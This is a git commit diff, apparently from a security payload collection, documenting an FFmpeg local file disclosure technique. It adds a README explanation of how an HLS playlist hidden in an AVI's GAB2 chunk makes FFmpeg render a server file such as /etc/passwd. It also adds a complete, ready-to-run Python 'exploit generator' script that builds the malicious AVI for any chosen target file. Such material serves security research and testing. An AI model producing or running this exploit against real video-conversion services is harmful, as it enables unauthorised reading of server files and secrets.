FFMpeg injection - Bypass and explanation
parent
240e46e1e1
commit
ab63a537e7
|
@ -10,7 +10,29 @@ FFmpeg is an open source software used for processing audio and video formats. Y
|
|||
5. If you are lucky, you'll the content of `<filename>` from the server.
|
||||
```
|
||||
|
||||
## How it works (Explanations from neex - Hackerone links)
|
||||
the script creates an AVI that contains an HLS playlist inside GAB2. The playlist generated by this script looks like this:
|
||||
```
|
||||
#EXTM3U
|
||||
#EXT-X-MEDIA-SEQUENCE:0
|
||||
#EXTINF:1.0
|
||||
GOD.txt
|
||||
#EXTINF:1.0
|
||||
/etc/passwd
|
||||
#EXT-X-ENDLIST
|
||||
```
|
||||
To process a playlist ffmpeg concatenates all segments and processes it as single file.
|
||||
To determine the type of this file FFmpeg uses the first segment of the playlist.
|
||||
FFmpeg processes .txt files in a special way. It tries to show a screen capture of a tty printing this file.
|
||||
|
||||
So, the playlist above will be processed as follows:
|
||||
FFmpeg sees #EXTM3U signature inside GAB2 chunk and determines file type as HLS playlist.
|
||||
The file GOD.txt doesn't even exist, but it's name is enough for FFmpeg to detect file type as .txt.
|
||||
FFmpeg concatenates the contents of all segments of the playlist. As only one of two segments actually exists, the result of concatenation is just the contents of the file we want to retrieve.
|
||||
Because the type of this concatenation is .txt, FFmpeg draws a tty that prints the file.
|
||||
|
||||
## Thanks to
|
||||
* [Hackerone - Local File Disclosure via ffmpeg @sxcurity](https://hackerone.com/reports/242831)
|
||||
* [Hackerone - Another local file disclosure via ffmpeg](https://hackerone.com/reports/243470)
|
||||
* [PHDays - Attacks on video converters:a year later, Emil Lerner, Pavel Cheremushkin](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p)
|
||||
* [Script by @neex](https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py)
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
import struct
|
||||
import argparse
|
||||
|
||||
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"
|
||||
|
||||
|
||||
def make_txt_packet(content, fake_packets=50, fake_packet_len=200):
|
||||
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + content
|
||||
packet = b'00tx' + struct.pack('<I', len(content)) + content
|
||||
dcpkt = b'00dc' + struct.pack('<I', fake_packet_len) + b'\x00' * fake_packet_len
|
||||
return packet + dcpkt * fake_packets
|
||||
|
||||
TXT_PLAYLIST = """#EXTM3U
|
||||
#EXT-X-MEDIA-SEQUENCE:0
|
||||
#EXTINF:1.0,
|
||||
#EXT-X-BYTERANGE: 0
|
||||
{txt}
|
||||
#EXTINF:1.0,
|
||||
{file}
|
||||
#EXT-X-ENDLIST"""
|
||||
|
||||
def prepare_txt_packet(txt, filename):
|
||||
return make_txt_packet(TXT_PLAYLIST.format(txt=txt, file=filename).encode())
|
||||
|
||||
# TXT_LIST = ['/usr/share/doc/gnupg/Upgrading_From_PGP.txt', '/usr/share/doc/mount/mount.txt', '/etc/pki/nssdb/pkcs11.txt', '/usr/share/gnupg/help.txt']
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser('HLS AVI TXT exploit generator')
|
||||
parser.add_argument('filename', help='file that should be read from convertion instance')
|
||||
parser.add_argument('output_avi', help='where to save the avi')
|
||||
parser.add_argument('--txt', help='any .txt file that exist on target system', default='GOD.txt')
|
||||
args = parser.parse_args()
|
||||
avi = AVI_HEADER + prepare_txt_packet(args.txt, args.filename)
|
||||
output_name = args.output_avi
|
||||
|
||||
with open(output_name, 'wb') as f:
|
||||
f.write(avi)
|
||||
|
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue